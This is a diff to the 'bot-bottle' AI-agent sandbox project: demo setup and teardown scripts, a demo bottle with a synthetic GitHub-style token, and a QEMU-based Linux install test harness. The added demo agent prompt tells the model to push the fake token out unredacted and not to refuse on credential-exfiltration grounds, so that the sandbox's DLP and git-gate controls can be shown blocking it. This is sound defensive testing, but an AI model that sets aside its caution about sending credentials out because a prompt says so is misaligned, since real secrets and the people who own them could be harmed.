  `SHA256 (file) = hash` formats are all handled). Alpine ships `.sha512` only
  (this verifier is sha256) so it is skipped; NixOS is built locally, not
  downloaded, so there is nothing to verify.
 - **NixOS is built, not downloaded**: `ensure_base_image` runs
  `nixos-generate -f qcow` against
  [`linux-install-test-nixos.nix`](../../scripts/linux-install-test-nixos.nix)
  once and caches the result; the per-run seed/overlay flow is otherwise
  identical to the downloaded distros.
 - **`test-all`** runs every distro × both variants (`test` and `test-ready`),
  each cell in its own subshell on its own forwarded port, so one cell's
  failure (or teardown trap) can't abort the matrix; it prints a per-cell
  PASS/FAIL summary.
 ## Not wired into PR CI
 Like the macOS harness, the runtime is host-specific (needs `/dev/kvm`,
 `qemu`, and `cloud-localds`) and is not exercised by the Linux pull-request
 runner. It is validated statically (`bash -n`, `shellcheck`) and run by hand
 on a KVM-capable host. The cloud-image URLs in the `DISTRO` table are the one
 place to bump when a distro cuts a newer build.
@@ -1,46 +1,96 @@
 #!/usr/bin/env bash
-# Prepare the working directory to run the recorded demo via cli.py:
+# Stage everything the recorded demo needs, then hand off to demo.sh or
-#   - back up any existing bot-bottle.json so the user's real config
+# demo-record.sh:
-#     isn't clobbered
+#   - install scripts/demo/{bottle,agent}.md into $HOME/.bot-bottle/,
-#   - install bot-bottle.demo.json as bot-bottle.json
+#     backing up anything already sitting at those paths
-#   - create a dummy SSH identity at the path the demo manifest expects
+#   - create a dummy SSH identity where the demo bottle's git-gate
-#   - pre-warm the bottle + git-gate images quietly so the recording
+#     expects one
 #   - pre-warm the agent + gateway images quietly so the recording
 #     doesn't spend its first 30s in BuildKit output
 #
 # Bottles can only be read from $HOME/.bot-bottle/bottles/ — a bottles/
 # dir in CWD is ignored by design (manifest/index.py, PRD 0011) — so
 # unlike the old throwaway manifest swap this writes into real config.
 # Every write is paired with a .demo-backup so demo-teardown.sh can put
 # things back exactly as they were; teardown is trapped by both
 # callers and is safe to run twice.
 set -euo pipefail
 cd "$(dirname "$0")/.."
-if ! docker info >/dev/null 2>&1; then
+if ! container system status >/dev/null 2>&1; then
-  echo "demo-setup: docker daemon not reachable" >&2
+  echo "demo-setup: Apple Container services are not running." >&2
  echo "  Start them with: container system start" >&2
  exit 1
 fi
-# Back up an existing local manifest (untouched if absent). Stored
+# The tape types `bot-bottle start demo` verbatim, so the console
-# alongside the manifest with a deterministic name so teardown can
+# script has to resolve in the recording shell. Without this guard a
-# find it without state files.
+# recording silently captures `command not found` instead of a bottle.
-if [ -f bot-bottle.json ]; then
+if ! command -v bot-bottle >/dev/null 2>&1; then
-  cp bot-bottle.json bot-bottle.json.demo-backup
+  echo "demo-setup: bot-bottle is not on PATH. The demo runs the real" >&2
  echo "  console script, not ./cli.py — install it first (bash install.sh," >&2
  echo "  or 'pip install -e .' into an active venv), then re-run." >&2
  exit 1
 fi
-cp bot-bottle.demo.json bot-bottle.json
+
 config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
 mkdir -p "$config_root/bottles" "$config_root/agents"
 # Install one demo file, preserving whatever was there. The backup
 # suffix is deterministic so teardown needs no state file. A stale
 # backup from a killed run would be restored over the new install, so
 # refuse rather than silently clobber it.
 install_demo_file() {
  src=$1
  dest=$2
  # Already installed (setup run twice without an intervening
  # teardown). Backing up our own copy here would make teardown
  # "restore" it and leave the demo file in the user's config forever,
  # so treat this as a no-op.
  if [ -e "$dest" ] && cmp -s "$src" "$dest"; then
    return 0
  fi
  if [ -e "$dest.demo-backup" ]; then
    echo "demo-setup: $dest.demo-backup already exists — a previous run" >&2
    echo "  did not tear down cleanly. Inspect it, then remove or restore" >&2
    echo "  it by hand before re-running." >&2
    exit 1
  fi
  if [ -e "$dest" ]; then
    mv "$dest" "$dest.demo-backup"
  fi
  cp "$src" "$dest"
 }
 install_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
 install_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"
 # Dummy SSH identity — the git-gate validator wants a readable file at
-# the IdentityFile path. Contents don't matter for the demo: the
+# the key path. Contents don't matter for the demo: the unreachable
-# unreachable upstream means the gate never actually uses the key.
+# upstream means the gate never actually uses the key.
 fake_key_dir="$HOME/.cache/bot-bottle-demo"
 mkdir -p "$fake_key_dir"
 chmod 700 "$fake_key_dir"
 printf 'not-a-real-key\n' > "$fake_key_dir/fake-key"
 chmod 600 "$fake_key_dir/fake-key"
-# Build the image graph quietly so the recorded run shows only the
+# Report which base images are already in the Apple image store. A cold
-# bottle launch and the four `!` probes, not BuildKit progress.
+# store isn't fatal — the launcher builds what it needs — but the first
-node_base_image=$(
+# recorded launch then spends its opening seconds in BuildKit output
-  python3 -c \
+# instead of showing the bottle, so it's worth knowing before recording.
-    'import json; print(json.load(open("image-build-args.json"))["NODE_BASE_IMAGE"])'
+#
-)
+# Deliberately NOT pre-building here. `container build` needs the same
-docker build -q \
+# --dns treatment the backend applies in
-  --build-arg "NODE_BASE_IMAGE=$node_base_image" \
+# backend/macos_container/util.py:build_image(); reproducing that in
-  -f bot_bottle/contrib/claude/Dockerfile \
+# shell would be a second, silently-drifting copy of it. The layer
-  -t bot-bottle-claude:latest . >/dev/null 2>&1 || true
+# cache already keeps a warm rebuild fast, and the old `docker build
-docker build -q -f Dockerfile.git-gate -t bot-bottle-git-gate:latest . >/dev/null 2>&1 || true
+# ... || true` pre-warm is exactly how this script kept "succeeding"
 # while building a Dockerfile that had been deleted.
 for image in bot-bottle-claude bot-bottle-gateway bot-bottle-orchestrator; do
  if ! container image ls 2>/dev/null | grep -q "^${image} "; then
    echo "demo-setup: note: $image not in the image store yet;" >&2
    echo "  the recording's first seconds will show it building." >&2
  fi
 done
@@ -1,14 +1,39 @@
 #!/usr/bin/env bash
-# Undo what demo-setup.sh did. Restores any pre-existing
+# Undo what demo-setup.sh did: remove the installed demo bottle/agent,
-# bot-bottle.json, removes the dummy SSH identity. Idempotent.
+# restore whatever they displaced, drop the dummy SSH identity.
 #
 # Idempotent, and deliberately not `set -e` on the restore path — this
 # runs from an EXIT trap, so a partial setup (or a second invocation)
 # must still put back everything it can rather than bailing on the
 # first missing file.
-set -euo pipefail
+set -uo pipefail
 cd "$(dirname "$0")/.."
-rm -f bot-bottle.json
+config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
-if [ -f bot-bottle.json.demo-backup ]; then
+
-  mv bot-bottle.json.demo-backup bot-bottle.json
+# Remove our copy, then restore the displaced original if there was
-fi
+# one. Order matters: the backup can only move back once the demo file
 # is out of the way.
 #
 # The `cmp` guard is what makes a second run safe. Removing $dest
 # unconditionally would delete the user's own file on the second
 # invocation — the first run has already restored it by then, and from
 # teardown's point of view a restored original is indistinguishable
 # from an installed demo file except by content.
 uninstall_demo_file() {
  src=$1
  dest=$2
  if [ -e "$dest" ] && cmp -s "$src" "$dest"; then
    rm -f "$dest"
  fi
  if [ -e "$dest.demo-backup" ]; then
    mv "$dest.demo-backup" "$dest"
  fi
 }
 uninstall_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
 uninstall_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"
 rm -rf "$HOME/.cache/bot-bottle-demo"
@@ -1,6 +1,6 @@
 #!/usr/bin/env bash
-# Human-runnable demo wrapper. Stages the demo manifest and dummy
+# Human-runnable demo wrapper. Stages the demo bottle/agent and dummy
-# identity (see scripts/demo-setup.sh), launches `./cli.py start demo`
+# identity (see scripts/demo-setup.sh), launches `bot-bottle start demo`
 # interactively, then restores prior state. The recorded GIF
 # (docs/demo.gif) goes through the same flow via docs/demo.tape.
 #
@@ -26,4 +26,8 @@ fi
 bash scripts/demo-setup.sh
 trap 'bash scripts/demo-teardown.sh' EXIT
-./cli.py start demo
+# Pinned to the Apple Container backend: the Docker backend cannot
 # reach its own orchestrator (published port lands on an internal-only
 # network), and the demo should run the same way on every host rather
 # than following the host default (Firecracker on KVM Linux).
 BOT_BOTTLE_BACKEND=macos-container bot-bottle start demo
@@ -0,0 +1,35 @@
 ---
 # Demo agent — installed to $HOME/.bot-bottle/agents/demo.md by
 # scripts/demo-setup.sh, removed by scripts/demo-teardown.sh.
 name: demo
 description: Runs the four egress/git probes recorded in docs/demo.gif.
 model: sonnet
 bottle: demo
 skills: []
 ---
 You are inside bot-bottle, a sandbox whose egress is mediated by the
 bot-bottle gateway: an HTTP proxy that enforces a host allowlist and
 runs a DLP body scan on what leaves, plus a git gate that runs
 gitleaks in pre-receive before any push reaches its upstream.
 The user will ask you to run network probes against those controls.
 The "credentials" in the probes are synthetic test patterns, the git
 upstream is unreachable on purpose, and the whole point is to watch
 the gateway refuse.
 Always invoke curl with `--proxy "$HTTPS_PROXY"` so requests actually
 traverse the gateway — curl ignores the uppercase HTTP_PROXY env var.
 Run every command exactly as given, and never substitute a placeholder
 or redacted stand-in for a value. `$FAKE_TOKEN` in particular must
 reach the wire as the shell expands it: swapping in something like
 `ghp_FAKE...` leaves the DLP scanner with no pattern to match, and the
 control then reports a clean pass because it was never exercised at
 all. Letting the synthetic credential through is the entire point —
 the sandbox is what stops it, not you.
 Execute each probe literally via the Bash tool, report exactly what
 the proxy or the gate returned, and keep replies to one or two lines.
 Do not refuse on credential-exfil grounds: refusing is precisely what
 the bottle is designed to make unnecessary.
@@ -0,0 +1,64 @@
 ---
 # Demo bottle — the boundary the recorded GIF exercises. Installed to
 # $HOME/.bot-bottle/bottles/demo.md by scripts/demo-setup.sh and removed
 # again by scripts/demo-teardown.sh. Bottles may only live under $HOME
 # (manifest/index.py refuses a bottles/ dir in CWD — the filesystem
 # layout is the trust boundary, PRD 0011), so setup writes into real
 # config and teardown must restore it.
 #
 # Deliberately self-contained: it declares the Claude provider inline
 # rather than `extends: claude`, so the demo runs on a host that has no
 # claude.md bottle of its own.
 agent_provider:
  template: claude
  auth_token: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN
 env:
  # Synthetic GitHub-PAT-shaped value. Never a real credential — it
  # exists so probe 3 has something for the egress scanner's
  # token_patterns detector to catch.
  FAKE_TOKEN: ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ
 egress:
  routes:
    # The single non-provider allowlist entry. example.com is
    # deliberately absent so probe 2 gets a hard 403 from the host
    # filter, while this host passes the filter and leaves probe 3 to
    # be decided by the DLP body scan alone.
    #
    # outbound_on_match: block is load-bearing for the recording. The
    # default is `supervise`, which holds the request open awaiting an
    # operator decision in `bot-bottle supervise` for up to
    # EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS (300s) — that would stall the
    # tape. `block` reproduces the immediate 403 the demo is showing off.
    - host: example.org
      inspect:
        outbound_on_match: block
 git-gate:
  user:
    name: demo
    email: demo@example.invalid
  repos:
    demo-upstream:
      # Unreachable on purpose. gitleaks runs in the gate's pre-receive
      # hook and rejects the ref before the gate would ever dial the
      # upstream, so probe 4 never depends on the network.
      url: ssh://git@upstream.invalid/path.git
      key:
        provider: static
        path: ~/.cache/bot-bottle-demo/fake-key
      host_key: ssh-ed25519 AAAAEXAMPLE
 ---
 The `demo` bottle — the sandbox boundary behind `docs/demo.gif`.
 Declares exactly enough to make all four recorded probes meaningful:
 one allowlisted host, one synthetic credential in the environment, and
 one git upstream wired through the git-gate. Everything an agent could
 use to reach the network here is either denied by the host filter,
 caught by the egress DLP scan, or rejected by gitleaks at push time.
 Not an example to copy for real work — the fake token and the
 `upstream.invalid` remote only make sense for a scripted recording.
 See `examples/bottles/` for bottles meant to be adapted.
@@ -0,0 +1,24 @@
 # NixOS image for scripts/linux-install-test.sh.
 #
 # NixOS publishes no downloadable cloud qcow2 (its cloud images are Hydra-built
 # AMIs), so the harness BUILDS this one with nixos-generators (-f qcow). It is
 # deliberately minimal — no python3/git/pipx — so the bare `test` variant is
 # genuinely under-provisioned and exercises install.sh's guards; `test-ready`
 # provisions them with `nix profile install` (hence flakes below).
 { lib, ... }:
 {
  # Consume the same NoCloud seed the other distros use: cloud-init injects the
  # per-run ephemeral SSH key for root. Leave networking to NixOS's default
  # dhcpcd (QEMU user-mode NAT) — enabling cloud-init's networkd here conflicts
  # with dhcpcd and can drop the guest's network.
  services.cloud-init.enable = true;
  services.cloud-init.network.enable = false;
  services.openssh.enable = true;
  services.openssh.settings.PermitRootLogin = lib.mkForce "prohibit-password";
  # Flakes so the `test-ready` prereq step can `nix profile install nixpkgs#...`.
  nix.settings.experimental-features = [ "nix-command" "flakes" ];
  system.stateVersion = "24.11";
 }
@@ -0,0 +1,753 @@
 #!/usr/bin/env bash
 # Clean-install test harness for the Linux path.
 #
 # Exercises install.sh the way a brand-new user would, inside a THROWAWAY
 # QEMU/KVM virtual machine that is booted from a distro cloud image and
 # deleted afterward. install.sh's entire footprint is user-home-local (the
 # pipx venv under ~/.local, the ~/.bot-bottle config dir, and a printed PATH
 # hint), so a fresh VM's fresh $HOME is the clean surface we want — and unlike
 # a throwaway user account, tearing the VM down also wipes any OS-level
 # prerequisites installed into it, so the reset is total. Full rationale in
 # docs/research/testing-clean-install-on-linux.md.
 #
 # Why a VM and not a container or a throwaway user: a container shares the
 # host kernel and cannot exercise a genuinely pristine OS (systemd, the distro
 # package manager, PEP 668 externally-managed Python) the way a real guest
 # does, and a throwaway user leaves every system package it installs behind.
 # The host already needs KVM for the Firecracker backend, so a per-run,
 # copy-on-write VM is cheap here: one cached base image, a throwaway overlay
 # per run (`qemu-img create -b base`), deleted on teardown — the Linux
 # equivalent of `docker run --rm`, but for a whole machine.
 #
 # Usage:
 #   ./scripts/linux-install-test.sh test        # up -> run -> verdict -> down (bare host)
 #   ./scripts/linux-install-test.sh test-ready  # ... with prerequisites installed first
 #   ./scripts/linux-install-test.sh test-all    # every distro × both variants, with a summary
 #   ./scripts/linux-install-test.sh up          # fetch base image, boot a fresh VM
 #   ./scripts/linux-install-test.sh prereqs     # install python3 + git + pipx in the VM
 #   ./scripts/linux-install-test.sh run         # pipe install.sh into the VM
 #   ./scripts/linux-install-test.sh status      # VM reachable? is the install sound?
 #   ./scripts/linux-install-test.sh down        # kill the VM, delete overlay + seed (the reset)
 #   ./scripts/linux-install-test.sh ssh         # open an interactive shell in the running VM
 #
 # TWO TEST VARIANTS, because "does install.sh handle an unprepared host" and
 # "does a prepared host get a clean install" are different questions (mirrors
 # the macOS harness's test / test-ready split):
 #
 #   test        A Linux system WITHOUT the prerequisites set up — the default
 #               state of a stock cloud image (python3 is usually present for
 #               cloud-init, but git and pipx are not). This exercises
 #               install.sh's own prerequisite-guard logic. It is SOUND — a
 #               PASS — when install.sh EITHER installs cleanly (the image
 #               already had enough) OR declines with one of its own recognized,
 #               actionable errors (missing python3/git, no usable pip, PEP 668
 #               externally-managed). A crash or an unrecognized failure fails.
 #
 #   test-ready  A Linux system WITH the prerequisites satisfied — the harness
 #               installs python3 + git + pipx first (see the DISTRO table),
 #               then runs install.sh. A graceful decline is no longer good
 #               enough here: the install MUST land, the entry point must run,
 #               and doctor must report a usable python and config without
 #               crashing.
 #
 # Neither variant requires a green backend. install.sh does not install a
 # backend and cannot regress one, and inside a plain VM there is no nested KVM
 # for Firecracker; the harness does not provision the Docker backend either. So
 # backend readiness is reported, not required (this is where Linux necessarily
 # diverges from the macOS test-ready, which reaches the host backend).
 # BB_TEST_REQUIRE_BACKEND=1 makes it fatal anyway, for a nested-virt host.
 #
 # Config via env:
 #   BB_TEST_DISTRO         ubuntu | fedora | arch | alpine | nixos (default: ubuntu)
 #   BB_TEST_SSH_PORT       host port forwarded to the guest's :22  (default: 2222)
 #   BB_TEST_CACHE_DIR      where base images are cached            (default: ~/.cache/bot-bottle-install-test)
 #   BB_TEST_RUN_DIR        per-run scratch (overlay, seed, key, …) (default: a mktemp dir)
 #   BB_TEST_MEM_MB         guest RAM                               (default: 2048)
 #   BB_TEST_CPUS           guest vCPUs                             (default: 2)
 #   BB_TEST_DISK           overlay virtual size                   (default: 12G)
 #   BB_TEST_BOOT_TIMEOUT   seconds to wait for SSH after boot      (default: 300)
 #   BB_TEST_KEEP           1 = the test cycles skip teardown, to poke at a failure
 #   BB_TEST_REQUIRE_BACKEND 1 = make a not-ready backend fatal (needs nested virt)
 #   BB_TEST_INSTALL_URL    curl this install.sh in the guest instead of piping the local checkout
 #   BB_TEST_SKIP_VERIFY    1 = skip base-image checksum verification (not recommended)
 #   BOT_BOTTLE_INSTALL_SPEC   passed through to install.sh (pip / git spec)
 #
 # Notes:
 #   * Needs /dev/kvm, qemu-system-x86_64, and cloud-localds (cloud-image-utils
 #     / cloud-utils); the nixos distro additionally needs nixos-generate. On the
 #     NixOS host:  nix shell nixpkgs#qemu nixpkgs#cloud-utils nixpkgs#nixos-generators
 #   * Networking is user-mode (`-netdev user,hostfwd`) so the harness needs no
 #     root, no bridge, and touches no host network state. Only SSH is forwarded.
 #   * The cloud-image URLs in the DISTRO table are the one place to bump when a
 #     distro cuts a new build; each is verified against the vendor's published
 #     checksum at download time (guarding against truncated/corrupt pulls).
 set -euo pipefail
 DISTRO="${BB_TEST_DISTRO:-ubuntu}"
 SSH_PORT="${BB_TEST_SSH_PORT:-2222}"
 CACHE_DIR="${BB_TEST_CACHE_DIR:-${XDG_CACHE_HOME:-$HOME/.cache}/bot-bottle-install-test}"
 MEM_MB="${BB_TEST_MEM_MB:-2048}"
 CPUS="${BB_TEST_CPUS:-2}"
 DISK="${BB_TEST_DISK:-12G}"
 BOOT_TIMEOUT="${BB_TEST_BOOT_TIMEOUT:-300}"
 _SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
 _REPO_ROOT="$(cd "$_SCRIPT_DIR/.." && pwd)"
 # Per-run scratch. Persisted across sub-commands (up/prereqs/run/status/down)
 # via a marker file so `up` in one invocation and `down` in the next find the
 # same VM; the test cycles set RUN_DIR themselves and never write the marker.
 RUN_DIR="${BB_TEST_RUN_DIR:-}"
 # Set by the test cycles, which chain the steps and suppress the per-step "next
 # command" hints. _STEPS / _PASS_CLAIM / _REQUIRE_INSTALL are the per-variant
 # knobs the shared cycle and teardown read.
 IN_TEST=0
 _STEPS=4
 _PASS_CLAIM=""
 _REQUIRE_INSTALL=0
 # --- distro table ----------------------------------------------------
 # For each distro:  cloud-image URL | checksum-file URL | default SSH user |
 # prerequisite-install command (run in the guest; uses sudo when user != root).
 #
 # The prerequisite command installs python3 + git + pipx — install.sh installs
 # none of them — so `test-ready` (and the `prereqs` sub-command) drive
 # install.sh down its recommended pipx path. Bump the URLs here when a distro
 # publishes a newer build.
 declare -A IMAGE_URL SUM_URL SSH_USER PREREQ
 IMAGE_URL[ubuntu]="https://cloud-images.ubuntu.com/noble/current/noble-server-cloudimg-amd64.img"
 SUM_URL[ubuntu]="https://cloud-images.ubuntu.com/noble/current/SHA256SUMS"
 SSH_USER[ubuntu]="ubuntu"
 PREREQ[ubuntu]="sudo apt-get update && sudo DEBIAN_FRONTEND=noninteractive apt-get install -y python3 git pipx"
 IMAGE_URL[fedora]="https://download.fedoraproject.org/pub/fedora/linux/releases/44/Cloud/x86_64/images/Fedora-Cloud-Base-Generic-44-1.7.x86_64.qcow2"
 SUM_URL[fedora]="https://download.fedoraproject.org/pub/fedora/linux/releases/44/Cloud/x86_64/images/Fedora-Cloud-44-1.7-x86_64-CHECKSUM"
 SSH_USER[fedora]="fedora"
 PREREQ[fedora]="sudo dnf install -y python3 git pipx"
 IMAGE_URL[arch]="https://geo.mirror.pkgbuild.com/images/latest/Arch-Linux-x86_64-cloudimg.qcow2"
 SUM_URL[arch]="https://geo.mirror.pkgbuild.com/images/latest/Arch-Linux-x86_64-cloudimg.qcow2.SHA256"
 SSH_USER[arch]="arch"
 PREREQ[arch]="sudo pacman -Sy --noconfirm python git python-pipx"
 # Use the *nocloud_* Alpine variant, not generic_: the generic image probes
 # network datasources and ignores the local NoCloud seed, so cloud-init never
 # runs and the SSH key is never injected. (Only published at .0 patch levels.)
 IMAGE_URL[alpine]="https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/cloud/nocloud_alpine-3.21.0-x86_64-bios-cloudinit-r0.qcow2"
 SUM_URL[alpine]=""   # Alpine cloud images ship .sha512 only; this verifier is sha256.
 SSH_USER[alpine]="alpine"
 PREREQ[alpine]="sudo apk add --no-cache python3 git pipx"
 # NixOS publishes no downloadable cloud qcow2 (its cloud images are Hydra-built
 # AMIs), so the harness BUILDS one with nixos-generators — see build_nixos_image
 # and linux-install-test-nixos.nix. It's externally-managed in its own way (no
 # FHS ~/.local on PATH by default); `nix profile install` provisions the
 # prerequisites into root's profile (the image enables flakes for this).
 IMAGE_URL[nixos]="nix:build"   # sentinel: ensure_base_image builds instead of downloading
 SUM_URL[nixos]=""
 SSH_USER[nixos]="root"
 # Pin to a stable release: the guest's default `nixpkgs` registry is unstable,
 # where pipx isn't in the binary cache and builds from source (its test suite
 # currently fails to build). nixos-24.11 has these cached as substitutes.
 PREREQ[nixos]="nix profile install nixpkgs/nixos-24.11#python3 nixpkgs/nixos-24.11#git nixpkgs/nixos-24.11#pipx"
 ALL_DISTROS=(ubuntu fedora arch alpine nixos)
 # --- guards ----------------------------------------------------------
 require_linux() {
    [ "$(uname -s)" = "Linux" ] \
        || { echo "error: this harness is Linux-only (uname is $(uname -s))" >&2; exit 1; }
 }
 require_kvm() {
    [ -e /dev/kvm ] && [ -r /dev/kvm ] && [ -w /dev/kvm ] \
        || { echo "error: /dev/kvm is missing or not accessible (add yourself to the 'kvm' group)" >&2; exit 1; }
 }
 require_tools() {
    local missing=()
    command -v qemu-system-x86_64 >/dev/null 2>&1 || missing+=(qemu-system-x86_64)
    command -v qemu-img          >/dev/null 2>&1 || missing+=(qemu-img)
    command -v cloud-localds     >/dev/null 2>&1 || missing+=(cloud-localds)
    command -v ssh               >/dev/null 2>&1 || missing+=(ssh)
    command -v curl              >/dev/null 2>&1 || missing+=(curl)
    if [ "${#missing[@]}" -ne 0 ]; then
        echo "error: missing required tools: ${missing[*]}" >&2
        echo "  on NixOS:  nix shell nixpkgs#qemu nixpkgs#cloud-utils nixpkgs#openssh nixpkgs#curl" >&2
        exit 1
    fi
 }
 known_distro() {
    [ -n "${IMAGE_URL[$DISTRO]:-}" ] \
        || { echo "error: unknown distro '$DISTRO' (known: ${ALL_DISTROS[*]})" >&2; exit 1; }
 }
 # --- run-dir bookkeeping ---------------------------------------------
 # The marker lets prereqs/run/status/down in separate invocations find the VM
 # that `up` started. The test cycles set RUN_DIR themselves and never write it.
 _marker() { echo "${TMPDIR:-/tmp}/bot-bottle-install-test.$DISTRO.run"; }
 _ensure_run_dir() {
    if [ -z "$RUN_DIR" ]; then
        RUN_DIR="$(mktemp -d "${TMPDIR:-/tmp}/bb-install-test.$DISTRO.XXXXXX")"
    fi
    mkdir -p "$RUN_DIR"
 }
 _load_run_dir() {
    if [ -z "$RUN_DIR" ] && [ -f "$(_marker)" ]; then
        RUN_DIR="$(cat "$(_marker)")"
    fi
    [ -n "$RUN_DIR" ] && [ -d "$RUN_DIR" ]
 }
 _ssh_key()  { echo "$RUN_DIR/id_ed25519"; }
 _overlay()  { echo "$RUN_DIR/overlay.qcow2"; }
 _seed()     { echo "$RUN_DIR/seed.iso"; }
 _pidfile()  { echo "$RUN_DIR/qemu.pid"; }
 _serial()   { echo "$RUN_DIR/serial.log"; }
 # --- ssh helpers -----------------------------------------------------
 _ssh_opts() {
    # No host-key pinning: the guest is thrown away every run.
    printf '%s\0' \
        -i "$(_ssh_key)" \
        -p "$SSH_PORT" \
        -o StrictHostKeyChecking=no \
        -o UserKnownHostsFile=/dev/null \
        -o LogLevel=ERROR \
        -o ConnectTimeout=8 \
        -o BatchMode=yes
 }
 guest() {
    local -a opts
    mapfile -d '' -t opts < <(_ssh_opts)
    ssh "${opts[@]}" "${SSH_USER[$DISTRO]}@127.0.0.1" "$@"
 }
 wait_for_ssh() {
    local deadline=$(( SECONDS + BOOT_TIMEOUT ))
    echo "== waiting for SSH on 127.0.0.1:$SSH_PORT (up to ${BOOT_TIMEOUT}s) =="
    while [ "$SECONDS" -lt "$deadline" ]; do
        if guest true 2>/dev/null; then
            echo "   guest is up"
            return 0
        fi
        # Bail early if QEMU has died — no point waiting out the timeout.
        if [ -f "$(_pidfile)" ] && ! kill -0 "$(cat "$(_pidfile)")" 2>/dev/null; then
            echo "error: QEMU exited before SSH came up; see $(_serial)" >&2
            return 1
        fi
        sleep 3
    done
    echo "error: timed out waiting for SSH; see $(_serial)" >&2
    return 1
 }
 # --- image cache -----------------------------------------------------
 _base_image() {
    # One cached file per distro. NixOS is built (not downloaded), so it has a
    # fixed cache name; the rest are keyed by the image's basename so a URL bump
    # lands as a new cache entry rather than a stale hit.
    if [ "$DISTRO" = nixos ]; then
        echo "$CACHE_DIR/nixos-built.qcow2"
        return
    fi
    local url="${IMAGE_URL[$DISTRO]}"
    echo "$CACHE_DIR/$DISTRO-$(basename "$url")"
 }
 # NixOS has no upstream cloud qcow2; build one with nixos-generators and copy it
 # out of the (immutable, GC-able) store into the cache.
 build_nixos_image() {
    local out; out="$(_base_image)"
    [ -f "$out" ] && { echo "== nixos base image cached: $out =="; return 0; }
    command -v nixos-generate >/dev/null 2>&1 || {
        echo "error: 'nixos-generate' is required to build the NixOS image" >&2
        echo "  run inside:  nix shell nixpkgs#nixos-generators nixpkgs#qemu nixpkgs#cloud-utils" >&2
        return 1
    }
    echo "== building NixOS cloud image with nixos-generators (first run is slow) =="
    local link="$CACHE_DIR/nixos-result"
    nixos-generate -f qcow --system x86_64-linux \
        -c "$_SCRIPT_DIR/linux-install-test-nixos.nix" -o "$link"
    cp -L "$link"/*.qcow2 "$out"
    rm -f "$link"
    echo "   built + cached: $out"
 }
 verify_checksum() {
    local file="$1" sums_url="${SUM_URL[$DISTRO]}" base
    base="$(basename "${IMAGE_URL[$DISTRO]}")"
    if [ "${BB_TEST_SKIP_VERIFY:-0}" = "1" ] || [ -z "$sums_url" ]; then
        echo "   checksum: SKIPPED (${sums_url:+set BB_TEST_SKIP_VERIFY=0 to enable}${sums_url:-no sums URL for $DISTRO})" >&2
        return 0
    fi
    local want
    # Vendors publish either "HASH  filename" tables or a bare "HASH" (or a
    # "SHA256 (file) = HASH" BSD line, e.g. Fedora). Cover all three.
    local sums; sums="$(curl -fsSL "$sums_url")"
    want="$(printf '%s\n' "$sums" | awk -v f="$base" '
        $0 ~ f && $1 ~ /^[0-9a-fA-F]{64}$/ { print $1; exit }        # GNU "hash  file"
        $1=="SHA256" && $0 ~ f { gsub(/[()]/,""); print $NF; exit }  # BSD "SHA256 (file) = hash"
    ')"
    [ -z "$want" ] && want="$(printf '%s\n' "$sums" | awk '/^[0-9a-fA-F]{64}$/ {print $1; exit}')"
    [ -n "$want" ] || { echo "error: could not find a sha256 for $base in $sums_url" >&2; return 1; }
    local got; got="$(sha256sum "$file" | awk '{print $1}')"
    if [ "$want" != "$got" ]; then
        echo "error: checksum mismatch for $base" >&2
        echo "  want $want" >&2
        echo "  got  $got" >&2
        return 1
    fi
    echo "   checksum: OK"
 }
 ensure_base_image() {
    mkdir -p "$CACHE_DIR"
    if [ "$DISTRO" = nixos ]; then
        build_nixos_image
        return
    fi
    local base; base="$(_base_image)"
    if [ -f "$base" ]; then
        echo "== base image cached: $base =="
        return 0
    fi
    echo "== downloading $DISTRO cloud image =="
    echo "   ${IMAGE_URL[$DISTRO]}"
    # Download to a temp name and rename on success so an interrupted pull
    # never poisons the cache with a truncated image.
    local tmp="$base.partial"
    curl -fSL --retry 3 -o "$tmp" "${IMAGE_URL[$DISTRO]}"
    verify_checksum "$tmp"
    mv "$tmp" "$base"
    echo "   cached: $base"
 }
 # --- cloud-init seed -------------------------------------------------
 make_seed() {
    ssh-keygen -t ed25519 -N '' -f "$(_ssh_key)" -q
    local pub; pub="$(cat "$(_ssh_key).pub")"
    local user="${SSH_USER[$DISTRO]}"
    local user_data="$RUN_DIR/user-data"
    if [ "$user" = "root" ]; then
        # NixOS' cloud-init lands the key straight on root; no sudo needed.
        cat > "$user_data" <<EOF
 #cloud-config
 ssh_authorized_keys:
  - $pub
 EOF
    elif [ "$DISTRO" = alpine ]; then
        # Alpine needs three things the systemd distros don't: cloud-init locks
        # the account (lock_passwd), but Alpine's non-PAM sshd then refuses
        # pubkey auth for a locked account — so give it a throwaway password;
        # and OpenRC does not auto-start sshd after the key is injected, so
        # start it via runcmd.
        cat > "$user_data" <<EOF
 #cloud-config
 users:
  - name: $user
    sudo: ALL=(ALL) NOPASSWD:ALL
    shell: /bin/sh
    lock_passwd: false
    ssh_authorized_keys:
      - $pub
 chpasswd:
  expire: false
  list: |
    $user:bbtest
 packages:
  - sudo
 runcmd:
  - [ sh, -c, "rc-service sshd start 2>/dev/null || true" ]
 EOF
    else
        cat > "$user_data" <<EOF
 #cloud-config
 users:
  - name: $user
    sudo: ALL=(ALL) NOPASSWD:ALL
    shell: /bin/sh
    lock_passwd: true
    ssh_authorized_keys:
      - $pub
 EOF
    fi
    # NoCloud wants a meta-data with an instance-id, or cloud-init may not treat
    # the seed as a new instance (the Alpine nocloud image is strict about this).
    printf 'instance-id: bbtest-%s\nlocal-hostname: bbtest-%s\n' "$DISTRO" "$DISTRO" \
        > "$RUN_DIR/meta-data"
    cloud-localds "$(_seed)" "$user_data" "$RUN_DIR/meta-data"
 }
 # --- commands --------------------------------------------------------
 cmd_up() {
    require_linux; require_kvm; require_tools; known_distro
    _ensure_run_dir
    ensure_base_image
    # Throwaway copy-on-write overlay: the cached base is read-only backing,
    # all guest writes land in the overlay, and `down` deletes it. Resize so
    # pipx + a git build have headroom (cloud-init grows the rootfs to fit).
    qemu-img create -q -f qcow2 -F qcow2 -b "$(_base_image)" "$(_overlay)" "$DISK"
    make_seed
